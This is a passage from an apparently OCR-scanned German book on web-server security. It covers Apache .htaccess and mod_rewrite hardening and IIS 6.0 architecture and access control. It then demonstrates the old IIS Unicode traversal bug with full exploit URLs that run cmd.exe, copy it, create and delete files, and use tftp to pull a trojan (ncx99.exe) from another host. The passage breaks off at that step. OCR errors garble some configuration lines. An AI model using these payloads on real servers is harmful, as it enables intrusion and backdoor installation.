die Zugriffe auch auf Dateiebene regeln:

<Files *.htm>

Require user Hockmann Gast2 Gast3
Require group Anwendergruppe
</Files>

Anstatt des Befehls ,Files” konnen Sie mit , LimitExcept” die HTTP-Methoden wie
GET, POST, PUT, DELETE etc. ebenfalls reglementieren. Fiigen Sie dazu einfach
<LimitExcept GET> ein. Dadurch beschranken Sie den Zugriff auf die Option
,GET“.

Auf der anderen Seite miissen Sie als Administrator sicherstellen, dass keiner Threr
Anwender die Voreinstellungen der .htaccess-Datei iiberschreibt oder dandert. Fii-
gen Sie aus diesem Grund die folgenden Kommandos in Thre Konfigurationsdatei
ein:

<Directory [IPFADANGABE>

AllowQwerride None

</Directory>

Die Angabe von “None” in der “AllowQuverride”-Anweisung lasst keine Anderun-
gen durch ein Uberschreiben in dem angegebenen Verzeichnis mehr zu.

Auf der sicheren Seite sind Sie, wenn Sie eine verschliisselte Ubertragung in Form
von SSL nutzen, um Passworter und Usernamen zu tibertragen.

Per IP Adressfreigabe

Die .htaccess-Datei kann dazu genutzt werden, den Zugriff auf Ihre Webseiten zu
reglementieren. So lassen sich ganze IP-Adressbereiche oder aber auch nur einzel-
ne IP-Adressen ausschliefsen.

Wenn Sie in Thren Logdateien feststellen, dass aus einem bestimmten Adressbe-
reich immer wieder Angriffe auf Ihre Server stattfinden, konnen Sie mit dieser ein-
fachen aber effektiven Losung schnell fiir Abhilfe sorgen.

<Directory [IPFADANGABE>

order deny,allow
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allow from 27.101.84.200
deny from 192.168
</Directory>

Mit der Angabe , order deny,allow” legen Sie die Reihenfolge fest, welche Interpreta-
tionen in Threr .htaccess-Datei bearbeitet werden. Mit ,,allow from” definieren Sie
den IP-Adressbereich, den Sie erlauben und mit ,deny from” einen Adressbereich
(hier ein privater Adressraum, z.B. Ihr Intranet), den Sie sperren m&chten. Mit ,, de-
ny from all” konnen Sie auch eine generelle Sperre vergeben, oder aber mit ,allow
from all” eine generelle Freigabe.

Domaénen aussperren:

Mit ,,deny from DOMAIN.de” sperren Sie die ganze DOMAIN.de-Doméne. Stellen
Sie in einem solchen Fall sicher, dass die Domane DOMAIN.de tatsachlich auf ih-
rem System aufgeldst wird.

Dies ist natiirlich nur in einem gewissen Bereich moglich. Sobald die Attacken auf
Thre Server zunehmen und das nicht nur von einer IP-Adresse, sollten Sie weitere
Schritte unternehmen. Um einen Angreifer schnell loszuwerden, ist dies eine sehr
gute Moglichkeit.

Sie sollten bei jedem Angriff analysieren, was der Angreifer bezwecken wollte.
Hatte er mit seinen Angriffen unter Umstanden Erfolg gehabt, stellen Sie fest, auf
welche Ressourcen der Zugriff erfolgte und wie das Angriffsmuster aussah.

Die Index-Option, Skripte ausfiihren und Fehlerdokumente

Die Nutzung der ,,.htaccess“-Datei lasst eine sehr detaillierte Verfeinerung der Ein-
stellungen und Zugriffe zu.

Sie konnen fiir jedes Verzeichnis die Freigabe von Skripten (z.B. CGI) regulieren,
wenn Sie das Ausfiihren eigentlich nur fiir ein Verzeichnis festgelegt haben, es hier
in diesem einen Verzeichnis jedoch noch einmal benétigen.

Zusatzlich lassen sich Fehlermeldungen fiir einzelne Fehlercodes anpassen, wenn
es die Nutzung dieses einen Verzeichnisses verlangt. Als Beispiel sei die Nutzung
eines Verzeichnisses zur Ansicht von Bildern genannt. Hier konnen Sie z.B. auch
mit der Moglichkeit einer Auflistung der Dateien im Verzeichnis arbeiten, dem
,Directorylndex”. Diese Funktion sollte auf Ihrem Server ausgeschaltet werden, um
die Suche nach Dateien zu unterbinden. Bei der Auflistung eines Bildarchivs bietet
sich eine solche Funktion jedoch an.
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Nutzen konnen Sie diese Funktionen in einer .htaccess-Datei in einem Unterver-
zeichnis , Bildarchiv”, wenn Sie die folgenden Funktionen den bereits bekannten
hinzufiigen:

Options -ExecCGI +Indexes

ErrorDocument 403 "Nutzung nicht erlaubt”.
ErrorDocument 404 /extralextra_404.html
ErrorDocument 500 http://www.my.domain.de

In dem obigen Beispiel wird unter ,Options” das Ausfiihren von Skripten verbo-
ten (,,-,,) und das Durchsuchen des Verzeichnisses erlaubt (,,+).

Danach werden die Fehlermeldungen angepasst. Hat jemand keinen Zugriff (403),
wird bei einem 404-Fehler auf eine separate Datei verwiesen und bei einem 500-
Fehler eine andere Domain aufgerufen.

PHP-Skripte bieten einem Angreifer die Moglichkeit, Riickschliisse auf die Ver-
zeichnisstruktur zu ziehen, wenn in dem Skript Fehler enthalten sind und der
Quelltext dann angezeigt wird.

PHP-Code sollte daher moglichst aus vom HTML-Code getrennten Dateien nach-
geladen werden. Man kann diesen Dateien noch eine eigene Endung mitgeben, wie
z.B. ,php.end”. Nun erstellt man im Rootverzeichnis des Web-Server eine
».htaccess” Datei und schreibt die folgenden Zeilen hinein:

<FilesMatch "\ .(php.end | htaccess)$ ">
order allow,deny

deny from all

</FilesMatch>

Als Nebeneffekt wird die “.htaccess”-Datei zusétzlich vor Zugriffen gesperrt.

Verbergen von Strukturen mittels mod_rewrite

Wenn Sie einen Webshop betreiben oder eine Ordnerstruktur auf Ihrem Web-
Server haben, die Sie nicht so ohne weiteres preisgeben mochten, konnen Sie die
Anzeige der URL im Browser des Surfers verdndert anzeigen.

Mittels mod_rewrite konnen Sie URLs umschreiben. Dann greift der Surfer auf ei-
ne (nicht real existierende) URL zu, der Apache verarbeitet diese anhand bestimm-
ter Regeln, greift mit Hilfe des modifizierten Pfades auf eine Datei zu und schickt
sie dann an den Browser. Der Client merkt davon nichts.

Die folgende Struktur einer URL auf Ihrem Web-Server hat mehrere Nachteile:
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.Idokumente/dateien/waren/produkt/shopping.php”

Ein Besucher kann sie schlecht behalten und viele Suchmaschinen konnen diese
Struktur so nicht speichern. Es sollen ja moglichst viele Besucher Thren Webshop
nutzen.

Der wichtigste Punkt ist aber, dass ein Angreifer auf diese Art und Weise Informa-
tionen {iber Ihren Web-Server und die darauf hinterlegte Dokumenten- und Ord-
nerstruktur erlangen kann.

Mittels mod_rewrite konnen Sie diese URL einfach umschreiben auf z.B.
,shopping_liste.html”.

Wenn ein Besucher die URL ,shopping_liste.html” aufruft, wird intern mittels
mod_rewrite die URL wieder auf die eigentliche URL
., /dokumente/dateien/waren/produkt/shopping.php” umgebogen, ohne dass der Besu-
cher diesen Vorgang mitbekommt.

Zuerst mussen sie mod_rewrite laden:

LoadModule rewrite_module modules/mod_rewrite.s o
AddModule mod_rewrite.c

Um mit mod_rewrite arbeiten zu konnen, miissen die URLs die umgeschrieben
werden sollen noch definiert werden. Dazu werden in der httpd.conf folgende Zei-
len definiert:

<IfModule mod_rewrite.c>

RewriteEngine on

RewriteRule "/ shopping_liste.html $ / dokumen-
te/dateien/waren/produkt/shopping.php
</IfModule>

Solche Direktiven lassen sich fiir das ,,mod_rewrite“-Modul im Kontext eines virtu-
ellen Servers definieren.

Mit ,,mod_rewrite” 1af3t sich verhindern, dass andere Webseiten Bilder von Threm
Server direkt einbinden. Zuerst definieren Sie die Adressen Ihres Web-Servers:

RewriteCond %{HTTP_REFERER} !"“http://server.de
RewriteCond %{HTTP_REFERER]} !"http:/[www. server.de
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Danach konnen Sie ein eigenes Bild {ibertragen, das dann statt ihrer geblockten
Bilder auf dem rufenden Server angezeigt wird.

RewriteCond %{REQUEST_URI} I"+nicht_erlaubt.+$

Schliefilich definieren Sie die Regel:

RewriteRule ™.+\.(gif| GIF | jpg | JPG | jpeg| JPEG)$ http:/[www.server.de/nicht_erlaubt.gif
[redirect,last]

Sobald auf Bilder im gif-, jpg- oder jpeg-Format auf Ihrem Server zugegriffen wird,
das Bild “nicht_erlaubt.gif” abbilden. Welches Bild Sie dann iibertragen, bleibt allein
Ihre Entscheidung.

Weitere interessante Features von mod_rewrite sind das Liefern verschiedener Ho-
mepages anhand der Browserkennung oder die Erkennung und spezielle Begrii-
fung, wenn ein Besucher von einer bestimmten Webseite aus lhre Seiten aufruft.

Was kann aus diesen Kapiteln auf das eigene Netzwerk iibertragen werden?

Als Fazit fiir die Absicherung des Apache-Web-Server kann gesagt werden, dass
Sie die Leserechte des Web-Server-Rootverzeichnisses auf Leserechte setzen und
den Apache-Server nicht als Root starten sollten. Andern Sie entsprechend mit
chmod und chown die Zugriffsberechtigungen Ihrer Verzeichnisse.

Uberlegen Sie sich eine Verzeichnisstruktur und eine diesbeziigliche Zugehorigkeit
von Zugriffsrechten. Was wollen Sie mit Ihrem Web-Server erreichen und was darf
ein Anwender in den einzelnen Verzeichnissen anstellen bzw. was muss ein An-
wender an Zugriffsrechten besitzen, um Ihre Dienste in Anspruch zu nehmen?
Stellen Sie eine Matrix auf, die Sie immer wieder bei einem Update zu Hilfe neh-
men sollten. Diese Matrix sollte alle Situationen und Zustande Ihrer Anwendun-
gen auf dem Web-Server widerspiegeln, wie Nutzung von Cookies, File Transfer,
Datenbanken etc.

Sehen Sie sich nach einer Installation Thres Web-Server die Datei- und Verzeichnis-
struktur an. Kontrollieren Sie, ob Beispieldateien (html Seiten, Dokumentation etc.)
mit installiert wurden. Verschieben Sie diese in ein Verzeichnis aufSerhalb Ihres
Web-Serververzeichnisses oder, wenn Sie diese nicht bendtigen, 16schen Sie sie auf
Ihrem System.
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"Wenn wir vor der Wahl stehen, ob wir eine neue Funktion hinzufiigen oder ein
Sicherheitsproblem l6sen konnen, miissen wir uns fiir die Sicherheit entscheiden."
(Bill Gates).

Der Internet Information Service 6.0 von Microsoft wird fiir die Versionen XP Pro-
fessional und Windows 2003-Server ausgeliefert. Wie beim Windows 2003-Server
wird der IIS in einem verriegelten Status, also einer schon bei der Installation vor-
gegebenen gehérteten Version, installiert. So sind z.B. nach der Installation keine
dynamischen Webseiten (ASP etc.) darstellbar. Anderungen konnen iiber die mit-
gelieferte, Web Service Extensions genannte, neue Administrationsfunktion im
Snap-in IIS-Manager der Microsoft-Management-Konsole (MMC) vorgenommen
werden.

11.1 Architektur des IS 6.0

Die Architektur des IIS 6.0 hat sich im Vergleich zu seinen Vorgangern grundle-
gend gedndert und verbessert. Der IIS 6.0 weist jetzt eine Verfeinerung in den Be-
reichen Skalierbarkeit und Zuverlassigkeit auf.

In den Vorgangerversionen (IIS 4.X/5.X) gab es immer wieder Probleme dahinge-
hend, dass Webseiten und dazugehorende Applikationen in einem Prozess liefen.
Stiirzte eine Applikation ab, wurden alle anderen Applikationen mitgezogen, da
sie alle in einem Prozess angeordnet waren. Der IIS 6.0 unterstiitzt den , Worker
Process Isolation Mode”-(WPIM-)Betrieb.

Der IIS 6.0 isoliert zusammengehorende Webseiten und Applikationen in so ge-
nannten application pools. Microsoft spricht in diesem Zusammenhang auch von ei-
nem unabhangigen ,worker process”, der die einzelnen application pools bedient.
Jeder ,Worker Process” arbeitet in einem eigenen Speicherbereich und zieht bei ei-
nem Absturz keine weiteren , Worker Processes” oder Operatoren mit. Es ist mog-
lich, Sicherheitsparameter fiir jede Webseite einzustellen.
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Application Pools kénnen mit unterschiedlichen Kriterien und Bestimmungen ein-
gerichtet werden. Microsoft unterscheidet zwischen vier verschiedenen Modi:

- Recycling: Innerhalb einer Applikation kann der Pool mehrfach wieder
verwendet werden. Bestimmbare Parameter: Zeitspanne, Anzahl der Pro-
zesse und die Cache-Grofde

- Performance: Arbeitsprozesse konnen geschlossen werden, wenn diese
keine Daten zur Verarbeitung mehr empfangen. Die CPU wird dadurch
merklich entlastet.

- Health: Hier werden die Arbeitsprozesse iiberwacht. In Intervallen werden
die Prozesse angesprochen. Ist ein Prozess nicht mehr in der Lage, eine
Riickantwort zu geben, wird er beendet. Dafiir kann eine Zeitspanne an-
gegeben werden, die der Prozess abwarten muss, bevor er beendet oder
neu gestartet wird.

- Identity: Unter diesem Modus wird den Prozessen eine spezifische Identi-
tat zugeordnet. Somit ist es moglich, jedem Prozess ein Sicherheitskonto
zuzuordnen.

Viele der HTTP-Funktionen wurden von den Microsoft-Entwicklern in den Kernel-
Modus-Treiber verschoben, um die Anwendungen sicherer zu machen. Der Trei-
ber http.sys cached jetzt die Webseiten selbst und verbessert damit die Leistung,
ohne von aufien angreifbar zu sein.

Andere Erweiterungen, sind z.B. der “Background Intelligent Transfer Service”
(BITS), eine Servererweiterung, die es ermdglicht, Updates nach deren ,Notwen-
digkeit” zu installieren. Jeder Administrator sollte bei einem solchen Dienst erst
einmal sehr skeptisch werden. Werden doch automatisch durch einen Dienst Up-
dates, die von Microsoft als notwendig gekennzeichnet wurden, eingespielt. Admi-
nistratoren kennen spatestens seit den Windows NT 6.0 Service Packs die Proble-
me mit Updates.

Updates gehoren zuallererst auf ein Testsystem und werden nach einer griindli-
chen Priifung auf dem Produktivsystem eingespielt. Dies ist natiirlich auch fiir alle
anderen Systeme und Applikationen giiltig.

Als zusitzliches Highlight wurde eine differenziertere Auswahl der automatisch
startenden Systemdienste angegeben. Diese Aussage bezieht sich in erster Linie auf
das dazugehorige Betriebssystem Windows 2003-Server. Dahinter verbirgt sich die
Aussage, dass bei einer Installation des Windows 2003-Servers nicht mehr alle
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Dienste ohne Wissen des Administrators mit installiert werden. Es werden somit
nicht mehr automatisch Serverdienste, wie SMTP, DNS oder FTP gestartet.

Es sollte dennoch die Aufgabe jedes Administrators sein, nach einer Installation
einen Blick in die Verwaltung der Dienste seines Servers zu werfen, um sich einen
Uberblick {iber die installierten und gestarteten Dienste zu verschaffen; denn nicht
alle Dienste, die Microsoft bei seiner Installation vorgibt, sind auch fiir den tagli-
chen Gebrauch notwendig, wie z.B. der Nachrichtendienst.

11.2 Integration in Windows

Wenn man den IIS betrachtet und naher untersucht, kommt man nicht um eine ge-
nauere Uberlegung der Implementierung und Integration in das Microsoft Betriebs-
system 2003 herum. Obwohl Windows 2003-Server schon ins vierte Jahr geht, ist es
die Plattform, die in den ndchsten Jahren im Vergleich zu weiteren Microsoft Platt-
formen noch verstarkt in den Unternehmen genutzt wird. Viele Firmen stellen jetzt
erst auf den 2003-Server um. Windows Vista, der Nachfolger der 2003-Systeme, ist
noch nicht ausgereift und muss erst einmal die ersten Kinderkrankheiten iiberste-
hen, bevor es implementiert werden kann. Die Windows 2003-Systeme sind mitt-
lerweile ausgereift und Windows-2000-Server werden nur noch mit Updates bei
Sicherheitsproblemen von Microsoft unterstiitzt und auf einen aktuellen Stand ge-
bracht.

Was hat sich im Vergleich zu einem Windows 2000-Server unter Windows 2003
geandert? Die erste wichtige Neuerung ist, dass der Microsoft Web-Server IIS 6.0
standardméfiig nicht mehr auf Server der Windows 2003-Betriebssystemfamilie
(Enterprise Edition, Small Business, Standard Edition, Datacenter Edition und ein-
geschrankt zu Testzwecken Windows XP Prof.) installiert wird. Bei der ersten In-
stallation wird der IIS in einem abgesicherten Modus gestartet. Microsoft spricht in
diesem Zusammenhang auch von einem ,hochsicheren, "gesperrten" Mo-
dus”[/18/]. So sind ASP- und ASP.NET-Aufrufe oder WebDAV und Frontpage-
Erweiterungen erst nach einer expliziten Freigabe moglich. Gegenwartig hat Micro-
soft erheblich nachgebessert und sich am modularen Aufbau von Linux-/Unix-
Software orientiert. Der Administrator muss zwar jetzt wissen, wo welche Features
freigegeben werden, dafiir ist es aber iibersichtlicher fiir ihn geworden, die laufen-
den Funktionen zu iiberwachen.

Fiir die Verwaltung dieser und weiterer Dienste und Funktionen wird der Internet-
informationsdienst-Manager (IIS Manager) herangezogen. Dieses Tool stellt eine
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grafische Oberflache zur Verfiigung, mit der es dem Administrator vereinfacht
wird, den IIS zu warten und zu kontrollieren. Verzeichnis- und Dateiverwaltung
und Features, wie Anwendungspools, Ressourceneinstellungen und Skalierbarkeit
lassen sich so regeln.

Wie Sie im Einzelnen mit diesen Tools umgehen, ist in diversen Biichern und auf
den Webseiten von Microsoft [/18/] ausfiihrlich beschrieben und soll nicht néaher er-
lautert werden.

11.3 Zugriffsberechtigung und Dienste

Das Thema Zugriffsberechtigung ist bei allen Betriebssystemen, egal ob sie auf
Windows oder Linux basieren, eines der wichtigsten Themen.

Eine erste Hilfestellung und einen Uberblick kénnen Tools geben, die Informatio-
nen bei Programmausfithrung dokumentieren, wie ,,Regmon” und , Filemon” der
Firma Sysinternals [/9/]. Sofern Sie keinen Zugriff auf den Code haben oder die
Anwendung ziemlich umfangreich ist, helfen diese Werkzeuge dabei, um Zugriffe
auf das Betriebssystem aufzuzeigen und die Schwachstellen zu finden. Somit lasst
sich sehr komfortabel und detailliert eine genaue Beschreibung der Zugriffe auf
Registryeintrage oder Dateien beschreiben.

Diese Werkzeuge benétigen aber auch Administratorrechte, um alle Zugriffe auf
Kernelebene zu filtern und zu dokumentieren. Es sollten diese Werkzeuge deshalb
nur im ,,Run as“~-Modus auf einem zum Produktivsystem baugleichen System lau-
fen.

Die Suche ist mit diesen Tools sehr aufwendig, da systemweit in allen Anwendun-
gen gesucht wird. Auch das Setzen eines Filters erleichtert diese Aufgabe nicht es-
sentiell.

Microsoft hat jedoch fiir die eigenen Betriebssysteme ein interessantes Tool heraus-
gegeben, mit dem es moglich ist, sich diese Informationen zu beschaffen. Auf der
Homepage der Redmonder [/10/] findet man das ,, Application Compatibility Tool-
kit” mit dem ,, Application Verifier”, mit dem es moglich wird, Programme auf die
bendtigten Benutzerrechte hin zu tiberpriifen.

Dieses Tool priift die Applikationen systematisch nach bestimmten Fehlerszena-
rien ab und schreibt die Ergebnisse in eine Logdatei. Alle Fehlerszenarien sind Exr-
fahrungswerte von Microsoft. Es handelt sich also um die am hdufigsten aufgetre-
tenen Fehler aller Windowsversionen.
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Es ergibt sich aber ein Problem fiir die zu testende Applikation. Da es sich meist
um eine Eigenentwicklung handelt, sind dem Tool nicht alle Abldufe innerhalb der
Applikation bekannt. Sie miissen also wissen, was in Ihrer Applikation passiert,
auf welche Sourcen das Programm zugreift etc. Dazu bendétigen Sie eventuell ein
Use-Case-Diagramm. Nur dann konnen Sie das Tool auch gewinnbringend einset-
zen.

Eine weitere wesentliche Veranderung im Vergleich zum Windows 2000-Server ist
die eingeschrankte Anzahl an Diensten, die unter dem lokalen Systemaccount (NT
Authority\System) gestartet werden. Unter Windows 2000 liefen nahezu alle
Dienste in diesem Kontext und besaflen dadurch unbegrenzte Privilegien auf dem
lokalen System.

Windows Components
“You can ade or iemove components of Windogwys 2000,

Internet Information Services (1[5}

O @ Cluster Service
I nm B85 10hE |
aDncumenlamn
51@ File Transfer Pratacol [FTP] Serer
| @antF‘age 2000 Server Extensions
T Internat Infrmation S ervises Snapn
(] alntemet Sewices Manager [HTHL)
NHTP Service

Abbildung 12: Setup IIS Server fiir ein Windows 2000-System

Unter Windows 2003 verwenden die allgemeinen Dienste (Common Services) den
lokalen Service- (NT Authority\Local Service) oder Netzwerkservice-Account (NT
Authority \Network Service). Diese Accounts haben wesentlich restriktivere Privi-
legien und beinhalten somit weniger Angriffsflache.
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Als weiterer lokaler Systemaccount laufen z.B. noch der DHCP-Dienst oder der
Automatische Update Service.

Es soll in diesem Zusammenhang darauf hingewiesen werden, dass Administrato-
ren ihre Systeme auf diese Schwéchen hin erneut unter die Lupe nehmen sollten,
besonders, wenn auch noch Windows 2000-Systeme im Einsatz sind, auch wenn es
sich hierbei ,nur” um Testsysteme handelt. Das Stichwort , Hintertiir” sei noch
einmal erwahnt. Insbesondere soll an die Administratoren appelliert werden, die
eine Defaultinstallation des IIS auf einem Windows 2000-System vorgenommen
haben. Dabei wird der FIP-Dienst gleich mitinstalliert. Bitte {iberpriifen Sie, ob
dieser Dienst installiert und gestartet wurde (Abbildung 12).

11.4 Zugriffskontrolllisten — ACL

Seit der Einfithrung der Private Object Security-API mit Microsoft Windows NT-
Server 4.0 unterstiitzen Windows-Betriebssysteme die Verwendung von Zugriffs-
steuerungslisten, den so genannten Access Control Lists — ACL.

Zugriffskontrolllisten definieren unter Windows die Nutzer und Rechte auf einem
System oder einer Doméne.

Mochte Sie z.B. festlegen, dass sich kein Administrator {iber das Netzwerk Remote,
sondern nur lokal auf einem bestimmten Rechner einloggen darf, nutzen Sie als
Administrator lokal das Tool ,,gpedit.msc”.

("] Bitte beachten Sie:
Unter Windows XP-Home und Vista-Home ist

dieses Werkzeug nicht vorhanden!

Wechseln Sie in die Verzeichnisebene , Windows-Einstellungen - Sicherheitseinstel-
lungen - Lokale Richtlinien - Zuweisen von Benutzerrechten - Auf diesem Computer vom
Netzwerk aus zugreifen” und entfernen Sie dort die zwei Hakchen neben Administ-
ratoren und Hauptbenutzer.

Sie konnen sich jetzt nur noch lokal am Rechner als Administrator oder Hauptbe-
nutzer einloggen.

In diesem Zusammenhang iiberlegen Sie sich auch, ob die Zugriffsrechte auf dem
Rootlaufwerk C:\ Thres Windowssystems angepasst werden sollen.
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Die Freigabe fiir ,Jeder” z.B. sollte ganz entfernt werden, und als Netzwerk-
Benutzer sollten die Zugriffe auf Systemdateien nur im Lesemodus erlaubt sein.
Allen Unterverzeichnissen werden diese Zugriffsrechte weitervererbt.

Wenn Sie {iber ein Netzwerk Ordner freigeben mdchten oder miissen, vergeben Sie
fiir diesen jeweiligen Ordner die Zugriffsrechte ,Schreiben und Andern”.
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Der Internet Information Services von Microsoft ist bei Unternehmen sehr beliebt.
Es gibt weltweit ca. 6 Millionen Server dieser Art in allen mdglichen Versionen
(4.x, 5.x und 6.x). Aufgrund dieser weiten Verbreitung ist er wiederum bei vielen
Angreifern ebenso beliebt und gehort seit den ersten Versionen zu den Angriffszie-
len.

12.1 Bekannte Sicherheitsrisiken

Eine der bekanntesten Liicken des IIS war der Unicode-Bug. Der Unicode-Bug ist
ein bekannter Fehler, der alle Versionen vor IIS 6 betrifft. Unicode ist ein alphanu-
merischer Zeichensatz zur Darstellung der meisten heute gebrauchlichen Schrift-
zeichen (Buchstaben, Satzzeichen, Ziffern, sprachspezifischen Zeichen und ande-
ren Sonderzeichen). Unicode ist der Versuch, alle weltweit bekannten Textzeichen
(wie zum Beispiel chinesische Symbole und deutsche Buchstaben &, ii und 0) in ei-
nem Zeichensatz zusammenzufassen.

Der IIS 5 kann zwar Unicode-Zeichen darstellen, tiberpriift den {ibermittelten Code
jedoch nicht vor seiner Ausfiithrung auf dem Gerédt. Ein Angreifer konnte diese
Schwachstelle von IIS folglich ausnutzen und einen URL mit der folgenden Zei-
chenkette an den Server senden:

"http://192.168.74.203/cgi-bin/..%c0%af..%c0%
af..%c0%af..%c0%af..%c0%af.. %oc0%af.. Yoc0%af.. Y%oc0%aflwinnt/system32/cmd.exe?/c%
20dir+c:\ 7,

worauf er die in Abbildung 13 dargestellte Antwort bekommt.

Wie ist die Meldung im Browser zustande gekommen? Viel wichtiger aber wére
die Klarung der Frage, warum sehen wir ein Verzeichnislisting vom Root-
Verzeichnis C:\ des IIS Servers?

Wenn man sich die URL ansieht, erkennt man, dass dort unter anderem
Jhttp://192.168.74.203/cgi-bin/” steht. Das ist zum einen das http Protokoll und die
Serveradresse mit einem Unterverzeichnis (“192.168.74.203/cgi-bin/”), sieht auf den
ersten Blick zwar normal aus, ist es in diesem Kontext jedoch nicht.
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/3 http/{192.168.74.203/scripts/.A A A _A _A A A _A [winnt/system32/cmd.exe?/c dir+c - Mig

J Datei Bearbeiten Ansicht Favoriten Exfras 2

J@Zuruck - \J v d \EI }I ‘ /'.-j Suchen L\I;n:'(Fa»f::riI:erw wMedien @| - “__7 %

JAdregse Iﬁj http:/{192. 168,74, 203 /scriptsf. %c0 %af, . Sec0%af, . Yec0%af ., %c0%af . %c0%af. . %l Yeaf. . Sec0 %eaf, . %)

Verzeichnis von c:\

08.12.03 10:18 <DIR> WINNT
09,12.03 10:32 <DIR> Progranme
09.12.03 10:36 0 CONFIG.S5YS
08.12.03 10:36 0 AUTOQEXEC.BAT
09.,12.03 10:36 <DIR> TEMP
09.12.03 11:00 110 COMSLINK.LOG
09.12.03 11:38 <DIR> dell
09.12.03 11:43 <DIR> NWCLIENT
08,12.03 11:46 <DIR> He
12.12.05 16:54 <DIR> Inetpub
07.01.04 08:45 279.969.792 pagefile.sys
07.01.04 12:06 30 text.tit
07.01.04 12:09 <DIR> Bilanzdaten
13 Dateilen) 79.969.932 Bytes

2
2.,382.036.992 Bytea frei

Abbildung 13: Der Unicode-Bug beim IIS

Der néchste Teil besteht aus:
”1..%c0%af..%c0%af..%oc0%af..%oc0%af.. %oc0%af.. % c0%af.. % c0%af.. Y%oc0%af”,

den der IIS in den folgenden Code {ibersetzt: “//../../../../../../../..//” und anschliefsend
ausfiihrt. Dieser Code ist mit dem Befehl ,cd” in einer DOS-Shell, dem Kommando
zur Verzeichnisdnderung, mit dem man zum Hauptverzeichnis navigiert, ver-
gleichbar.

Als Nachstes kommt die folgende Zeichenkette zur Anwendung:
“lwinnt/system32/cmd.exe?/c%20dir+c:\”.

Diese Kommandozeile wechselt in das Verzeichnis “/winnt/system32” und startet
die DOS-Shell “cmd.exe” mit den beiden Parametern “dir c:\”. Das Ergebnis ist das
Listing des Laufwerks “c:\”.

Die Parameter, die der Kommandoshell mitgegeben werden konnen, lassen sich so
miteinander kombinieren, dass man Dateien erstellen, 10schen und dndern kann.

Mit den folgenden Parametern konnen wir eine neue Datei auf dem Server erzeu-
gen. Zundchst kopieren wir die Kommandoshell “cmd.exe” in ein anderes Ver-
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zeichnis. Damit haben wir eine Sicherheitskopie fiir den Fall, dass der Systemad-
ministrator unseren erfolgreichen Angriff in seinen Logdateien erkennt.

“http://192.168.74.203/scripts/..%oc1%9c../winnt/system32/cmd.exe? %20/ c+copy+..\ .. \wi
nnt\system32\cmd.exe+tcmdl.exe”.

Nach der Ausfiihrung dieser Zeichenkette in einem Browser bekommt man eine
Bestadtigung (siehe nachfolgende Abbildungen). Es wird auch eine Kopie der
Kommandoshell “cmd.exe” im Verzeichnis “/winnt/system32/” innerhalb des
“scripts”

"-Verzeichnisses erstellt.

) http:f192.168.74.203 {scripts|.ATL.finetpub/scripts/cmd.exe? c+dir+c\ Inetpub\scripts - Microst

| pate

Bearbeiten  Ansicnt  Favoriten  Extras 7

J @Iurﬂd& v '\) v \ﬂ @ _:] ‘ /'_] Suchen ‘i:"{ Faveriten @M&dien Q}‘ [_;v ; [

J Adresse

@ http: /192, 168,74, 203 scripts/,, % 1%8c,  finetpub /soripts famd Lexe? fo+dir +¢ Inetpub \ecripte

12,12
12.12

Verzeichnis von c:\Inetpub\scripts

.03 16:56 <DIR>
.03 16:56 <DIR> ac
98 12:04 212,752 cmdl.exe

03.11.

3 Datei (en) 212.752 Bytes
2.320,433,152 Bytes frel

Abbildung 14: Unicode-Bug und seine Anwendungen

85



12 Angriffe auf IIS Web-Server

a Error in CGI Application - Microsoft Internet Explorer

Jgatei Beabeten Anscht Favorten Exias ]

J @Iurudc . d . \j @ \._;] ‘ /J Suchen \:E( Favoiten @Medien ‘E‘}‘ [:v :; - _J ﬁ @ “ﬁ

J Adregee @ it /192, 168, 74 203 /scripts . %c 139, Jwinnt fsystem 32 mmd exe k20 c4oopy +. . winn teystem 32emd exe-+omd Lexe

CGI Error

The speciied CGI application mishehaved by not refuming a complete set of HTTP headers. The headers it did refurn are:

1 Datei(en) kopiert.

Abbildung 15: Unicode-Bug und seine Anwendungen

Das Verzeichnis “scripts” befindet sich im IIS-Verzeichnisbaum. Hier finden wir
die neue Kommandoshell mit dem Namen “cmd1.exe”.

Jetzt ist es moglich, eine neue Datei auf diesem Rechner zu erstellen. Wir benutzen
den DOS-Befehl “echo” mit dem Flag “>" (vergleichbar zu “cat” unter Unix).

Mit der folgenden Zeichenkette

“http://192.168.74.203/scripts/.. %cl%9c. ./inetpub/scripts/cmdl.exe?/c+echo+2000+>
PayRollData2007 &dir&type+ PayRollData2007”

erstellen wir eine neue Datei mit dem Namen “NeueBilanzdaten2007”. Mit
“c+echo+2000 NeueBilanzdaten2007” fiillen wir die Datei mit dem Inhalt “2000” (sie-
he Abbildung 16).
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) http:/ /192.168.74.203 scripts/..AC../inetpub/ scripts/cmd Lexe? [c+echo + 2000+ NeueBilanzdaten2003 - Micrasoft Internet Explorer

J Datei Beabeten Ansicht Favorten Exbas 2

J efur'ud( v -J v |ﬂ @ _h /J Suchen ‘i}{Favoriten @Medien 6}‘ ik :;_ v _J % @ 'ﬂ

J Adresse iﬁj ttp: /192, 168, 74.203acripts ., %c L%3c. . inetpubyscripts and . exe? t +echo+2000+MeueBilanzoaten 200 38 &type +heueBilanzdaten 2003

Verzeichnis von C:\Inetpub\scripts

12.12.03 16:56 <DIR>

12.12.03 18:56 {DIR»

03.11.98 12:04 212.752 cmdl.exe

09.01.04 13:33 7 NeueBilanzdaten2003
4 Dateifen) 212,759 Bytes

2.320,367.616 Bytes frei
2000

Abbildung 16: Mit dem Unicode-Bug neue Dateien erstellen

Nachdem eine neue Datei auf dem Web-Server erstellt wurde, ist es nun auch
moglich, eine Datei zu 16schen oder zu dndern. Fiir diesen Schritt bendtigt man nur
minimale Kenntnisse in der Kommandoshell unter DOS oder Windows. Mit der
Zeichenkette

“http://192.168.74.203/scripts/..%c1%9c../winnt/system32/cmd.exe? %20/c+del+ NeueBi-
lanzdaten2003”

kann man die Datei “NeueBilanzdaten2003“ 10schen.

Fiir den Fall, dass der Systemadministrator die Attacke oder die neu erstellten Da-
teien entdeckt und Gegenmafinahmen einleitet, kénnte nun der Angreifer eine
permanente Hintertiir einbauen. Um diese Gefahr zu umgehen, installiert der An-
greifer ein Trojanisches Pferd auf dem Gerat. Damit ist das Eindringen in das Sys-
tem tiiber ein Remote-Login eine sehr einfache Aufgabe.

Zunichst braucht der Angreifer Zugriff auf den Serverbereich des Rechners. Der
Client lduft auf dem lokalen Rechner. Wir konnen also erneut den Unicode-Bug
anwenden.
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Mit
http://192.168.74.203/scripts/.. Y%oc0%af../winnt/system32/cmd.exe?/c%20tftp.exet+”-
i"+192.168. 74.29+GET+ncx99.exe+c:/inetpub/scripts/ncx99. exe”

